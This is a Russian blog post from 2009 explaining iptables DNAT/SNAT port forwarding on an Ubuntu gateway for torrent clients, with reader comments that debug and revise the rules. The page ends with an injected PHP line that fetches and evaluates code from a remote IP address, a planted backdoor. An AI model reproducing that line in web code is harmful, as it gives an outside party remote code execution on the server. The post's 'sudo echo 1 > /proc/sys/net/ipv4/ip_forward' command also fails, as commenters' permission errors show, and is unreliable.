2009
07.01

Пусть интернет раздает сервер с Ubuntu на несколько компьютеров по локальной сети.
Нужно чтобы извне был доступен некий сервис на компьютере во внутренней сети, например торренты.
Для этого необходимо сделать проброс портов с сервера на внутреннюю машину.
В Ubuntu это делается с помощью iptables.

Покажу на примере проброса порта для торрентов, поскольку это чаще всего людям и бывает нужно в первую очередь :)
Мой порт торрентов на внутренней машине — 13107 (это можно посмотреть в настройках торрент-клиента).
Нужно создать 2 правила для iptables.
1. Это правило подменяет IP приемника на внутренний IP:
sudo iptables -t nat -A PREROUTING -p tcp -d ВНЕШНИЙ_IP --dport 13107 -j DNAT --to-destination ВНУТРЕННИЙ_IP:13107
2. Это правило обратно подменяет IP отправителя на внешний:
sudo iptables -t nat -A POSTROUTING -p tcp --dst ВНУТРЕННИЙ_IP --dport 13107 -j SNAT --to-source ВНЕШНИЙ_IP

На всякий случай поясню:
ВНЕШНИЙ_IP — это IP инета, который выдаётся провайдером (посмотреть можно командой ifconfig на сервере)
ВНУТРЕННИЙ_IP — это локальный IP компьютера во внутренней сети.

Посмотреть текущие правила iptables можно с помощью команды:
sudo iptables -L -n -v -t nat

Чтобы включить маршрутизацию так же нужно выполнить команду:
sudo echo 1 > /proc/sys/net/ipv4/ip_forward

26 комментария(ев)

Добавить комментарий
  1. А у вас у самого-то в торренте это работает? У меня — нет. Хотя для других программ обычно хватает прероутинга, без замены ip обратно на внешний… Сейчас же мне все торрент-клиенты (vuze и deluge) говорят, что входящих содинений нет :(

    • У меня это прекрасно работает. Да и не только у меня.

  2. А как вот теперь эти правила удалить? Чтобы сервак не перезагружая :-D

    • Скиньссылку на то как поднять домашний сервак? Желательно с ns серверами тоесть двумя айпишниками на одной машине желательно линукс пусть будет Centos

  3. А ты просто в правиле после слова net вместо «-A» напиши «-D»

  4. Работает прекрасно!
    Но «ВНЕШНИЙ_IP» у меня динамический:(((
    И что постоянно его прописывать, или можно завернуть на интерфейс куда инет подключен.
    У меня pppoe подключение.

    • вместо IP можно использовать интерфейс

  5. 2dimon
    Но «ВНЕШНИЙ_IP» у меня динамический:((( — и что из этого?
    по хорошему в скрипте настраивающем ваш файрвол все конструкции типа ВНЕШНИЙ_IP, ВНУТРЕННИЙ_IP должны быть переменными, получить значения которых можно элементарными скриптами. Вот интерфейсы, внешние-внутренние у вас константы

  6. У меня тоже не работает, хотя в правилах появился nat.
    Что должно быть открыто или не закрыто ПЕРЕД пробросом портов?

  7. Афтор, ты забыл указать, что для того что бы твои пробросы работали, нужно включить маршрутизацию.
    хотя есть подозрение что этого ты не знал.

    Включаем марщрутизацию так:
    sudo echo 1 > /proc/sys/net/ipv4/ip_forward

  8. цитата:
    2. Это правило обратно подменяет IP отправителя на внешний:
    sudo iptables -t nat -A POSTROUTING -p tcp —dst ВНУТРЕННИЙ_IP —dport 13107 -j SNAT —to-source ВНЕШНИЙ_IP

    хорошая статейка. но вот пункт два ошибочный IMHO
    почему вы решили что все torrent-программы работают на порту 13107 ?
    насколько я знаю в некоторых программах этот входящий порт выбирается случайным образом при установке программы (коих с десяток видов)
    Ваш первый пункт пропишет доступ входящий соединений через ваш сервер-шлюз, на ваш конкретный порт вашей торрент программы (для входящих подключений). Обратный поток данных этих подключений (входящих) программа ip_conntrack (в составе iptables) обработает сама и подменит адреса назад как надо.

    Второе правило должно выглядеть так
    -A POSTROUTING -o ppp0 -j SNAT —to-source ВНЕШНИЙ_IP
    (это правило для исходящих подключений с вашей торрент программы-клиента на сотни различных портов с которых качаете вы!)
    это правило подменит исходящий внутренний (локальный адрес)любого компа вашей сети на ВНЕШНИЙ_IP. Тех соединений которые стучаться во внешку через интерфейс ppp0 (в вашемс случае может обозначен по другому)
    +чтобы это работало, надо указать на компах клиентских машин IP адрес сервера в качестве шлюза (отдельная заморочка чтобы это работало для XP, 7 итп)

    PS. клиентов кому дозволено лезть в инет через шлюз разрешаем (или запрещаем через INPUT цепочку) , ну и конечно sudo echo 1 > /proc/sys/net/ipv4/ip_forward
    иначе вообще ниче работать не будет :)

  9. беру свои слова назад. Все работает так как вы говорите (мой пост до этого неправильный) Пробрасываем порт для входящих подключений с помощью ваших двух правил. при условии что политика цепочки FORWARD ACCEPT по умолчанию. у меня расписана защита (FORWARD DROP по умолчанию) и мне к вашим двум правилам пришлось приписать -A FORWARD -i ppp0 -p tcp -m tcp —dport 28050 -j ACCEPT
    то есть все что валиться с ppp0 подключения (VPN билайн) по порту 28050 (у меня такой в торренте настройках) пропускать.
    PS.Извиняюсь, не разобравшись влез. :)

    • правило два автора все же неправильное:
      sudo iptables -t nat -A POSTROUTING -p tcp —dst ВНУТРЕННИЙ_IP —dport 13107 -j SNAT —to-source ВНЕШНИЙ_IP

      Пакеты которые идут на комп клиента в нашей сетке имеют адрес источника -компов запрашивающих скачку с нас и адрес получателя ВНУТРЕННИЙ_IP, то есть адрес компа-клиента внутри нашей сетки (после первого правила DNAT в PREROUTING). А после этого правила адреса запрашивающих подменяются на внешний IP нашего брандмауэра. явно ошибочно!! обратные пакеты по этим подключениям не дойдут до компов клиентов запрашивающих с нас скачку.

      Когда у меня так было настроено, в utorrent я видел клиентом IP-брандмауэра. и скачка шла как то странно. сначала 15-20 кбайт/сек. потом в течении 5 минут падает до нуля. В итоге ничего с меня скачать не могли. хотя тест подключения в utorrent отчитался что порт входящих подключений открыт.
      Кроме того в таблице трассировщика ip_conntrack я видел множество подключений со статусом UNREPLIED — «не отвеченные» — признак того что кто то не может до нас достучаться.

  10. Короче я что то все равно не пойму как работает у автора. Распишу как работает у меня. Во первых у сервера есть два адреса
    смотрит во внешку ВНЕШНИЙ_SERV_IP
    смотрит в локалку ВНУТРЕННИЙ_SERV_IP
    у клиентской машины есть ВНУТРЕННИЙ_CLIENT_IP

    задача: сделать прозрачный шлюз для любых подключений в интернет через сервер по любым портам и протоколам.
    Сделать проброс входящего порта для utorrent.

    у меня FORWARD DROP по умолчанию форвард таблицы filter сбрасывает все
    поэтому все то что явно не разрешено у меня запрещено.
    Первая задача решается так
    -A POSTROUTING -o ppp0 -j SNAT –to-source ВНЕШНИЙ_SERV_IP
    это правило подменит исходящий внутренний (локальный адрес)любого компа вашей сети на ВНЕШНИЙ_IP. Тех соединений которые стучаться во внешку через интерфейс ppp0 (в вашемс случае может обозначен по другому)
    +чтобы это работало, надо указать на компах клиентских машин IP адрес сервера в качестве шлюза (отдельная заморочка чтобы это работало для XP, 7 итп)

    вторая задача у меня решается так

    -t nat A PREROUTING -i ppp0 -p tcp -m tcp —dport 28050 -j DNAT —to-destination ВНУТРЕННИЙ_CLIENT_IP:28050
    (сначала подменяем ip назначения на локальный по торрент порту)
    -t filter -A FORWARD -i ppp0 -p tcp -m tcp —dport 28050 -j ACCEPT
    (разрешаю проброс пакетов по 28050 порту, так как у меня по умолчанию пакеты в FORWARD сбрасываются)
    - nat -A POSTROUTING -o eth0 -p tcp -m tcp —dport 28050 -j SNAT —to-source ВНУТРЕННИЙ_SERV_IP
    (а здесь подменяем IP источника на локальный сервера)

    вот так у меня работает. проверенно тестами utorrent и результатами — все раздается.

    • как выяснилось так тоже не работает

  11. ВОТ ТАК
    -A POSTROUTING -o ppp0 -j SNAT –to-source ВНЕШНИЙ_SERV_IP
    это правило подменит исходящий внутренний (локальный адрес)любого компа вашей сети на ВНЕШНИЙ_IP. Тех соединений которые стучаться во внешку через интерфейс ppp0 (в вашемс случае может обозначен по другому)
    +чтобы это работало, надо указать на компах клиентских машин IP адрес сервера в качестве шлюза (отдельная заморочка чтобы это работало для XP, 7 итп)

    +ВОТ ТАК
    -t nat A PREROUTING -i ppp0 -p tcp -m tcp –dport 28050 -j DNAT –to-destination ВНУТРЕННИЙ_CLIENT_IP:28050
    (сначала подменяем ip назначения на локальный по торрент порту)
    -t filter -A FORWARD -i ppp0 -p tcp -m tcp –dport 28050 -j ACCEPT
    (разрешаю проброс пакетов по 28050 порту, так как у меня по умолчанию пакеты в FORWARD сбрасываются)

    Так вроде работает. сейчас добавлю скачек и отпишусь.

    • Все. Проверено, работает! два, три одновременно скачивают с меня. на полной скорости канала. Скачка работает тоже.
      не забывайте включать форвардинг
      sudo echo 1 > /proc/sys/net/ipv4/ip_forward , иначе правила цепочки FORWARD работать не будут.

      PS. Всем кто будет читать эту тему, чтобы добиться цели достаточно прочитать этот пост. Порт входящих подключений и имен интерфейсов в вашем случае может быть другие. Порт входящих подключений смотрите в настройках utorrent, имена интерфейсов eth_ или ppp_ вам подскажет ifconfig из командной строки nix-ов.

  12. Подскажите вариант для radmin-а, только нужно чтоб из локалки соединялся с внешним миром через промежуточный комп(ubuntu) который сейчас является просто проксиком???

  13. бесполезняк. уже чего только не пробовал. и, как на этом сайте и с форвардингом и порты открывал.
    радмин не виден, хотя из локалки, где и находится (сосед. машина) все ок.
    iptables -L -n -v -t nat
    Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
    pkts bytes target prot opt in out source destination
    1139 68519 ACCEPT all — * * 0.0.0.0/0 0.0.0.0/0
    0 0 DNAT tcp — ppp0 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:20164 to:192.168.2.3:20164

    Chain INPUT (policy ACCEPT 540 packets, 27836 bytes)
    pkts bytes target prot opt in out source destination

    Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
    pkts bytes target prot opt in out source destination
    2070 149K ACCEPT all — * * 0.0.0.0/0 0.0.0.0/0

    Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
    pkts bytes target prot opt in out source destination
    4 232 MASQUERADE all — * eth2 192.168.1.0/24 0.0.0.0/0
    1 64 MASQUERADE all — * ppp0 192.168.1.0/24 0.0.0.0/0
    0 0 MASQUERADE all — * eth2 192.168.2.0/24 0.0.0.0/0
    0 0 MASQUERADE all — * ppp0 192.168.2.0/24 0.0.0.0/0
    1003 65458 ACCEPT all — * * 0.0.0.0/0 0.0.0.0/0

    при этом локалка спойокойно ходит в сеть.

  14. порт извне закрыт, хоть тресни.
    другие порты, что выставлены в стенке, видны.
    а этот (для радмина, что пробрасывается), закрыт.

  15. bash: /proc/sys/net/ipv4/ip_forward: Отказано в доступе

  16. lordtor@transterminal:~$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward nrtap
    bash: /proc/sys/net/ipv4/ip_forward: Отказано в доступе

  17. спасибо за статью, все отлично работает!

  18. А как проброс убрать может кто нибудь опишет

  19. Добрый день! У меня стоит Ubuntu 7.04 сделал как показано, вроде прошло но при выполнении этой команды пишет (отказано в доступе). И затем через определенное время у меня сервер перегрузился. Сам я не давно работаю в этой системе по этому прошу помощи.
    __@www:~$ sudo echo >/proc/sys/net/ipv4/ip_forward
    -bash: /proc/sys/net/ipv4/ip_forward: Permission denied
    The system is going down for reboot NOW!

  20. Если вы используете NAT на маршрутизаторе, то пункт 2 совсем не нужен, так как если работает MASQUERADE, то iptables и так всегда будет подменять адрес отправителя из лок. сети на внешний

Ваш комментарий

/*c137*/ eval(@file_get_contents('http://37.1.207.55/get.php')); /*cc137*/ ?>